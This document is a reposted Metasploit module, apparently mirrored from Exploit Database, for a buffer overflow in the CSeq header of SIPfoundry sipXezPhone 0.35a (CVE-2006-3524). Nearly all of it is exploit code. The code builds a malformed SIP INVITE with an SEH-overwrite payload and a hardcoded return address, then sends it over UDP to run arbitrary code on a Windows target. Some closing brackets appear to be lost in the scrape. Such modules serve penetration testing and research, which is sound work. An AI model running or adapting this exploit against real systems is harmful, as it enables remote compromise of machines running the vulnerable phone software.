SIPfoundry sipXezPhone 0.35a – CSeq Field Overflow (Metasploit)

Exploit Database
137 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16351/

# $Id: sipxezphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Udp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',

'Description'=> %q{

This module exploits a buffer overflow in SIPfoundry's

sipXezPhone version 0.35a. By sending an long CSeq header,

a remote attacker could overflow a buffer and execute

arbitrary code on the system with the privileges of

the affected application.

'Author' => 'MC',

'Version'=> '$Revision: 9525 $',

'References' =>

[

['CVE', '2006-3524'],

['OSVDB', '27122'],

['BID', '18906'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 400,

'BadChars' => "\x00\x0a\x20\x09\x0d",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],

'Privileged' => false,

'DisclosureDate' => 'Jul 10 2006',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(5060)

], self.class)

end

def exploit

connect_udp

print_status("Trying target #{target.name}...")

user = rand_text_english(2, payload_badchars)

port = rand(65535).to_s

filler = rand_text_english(260, payload_badchars)

seh= generate_seh_payload(target.ret)

filler[252, seh.length] = seh

sploit= "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"

sploit<<"To: <sip:#{rhost}:#{rport}>" + "\r\n"

sploit<<"Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"

sploit<<"From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"

sploit<<"Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"

sploit<<"CSeq: " + filler + "\r\n"

sploit<<"Max-Forwards: 20" +"\r\n"

sploit<<"Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

udp_sock.put(sploit)

handler

disconnect_udp

end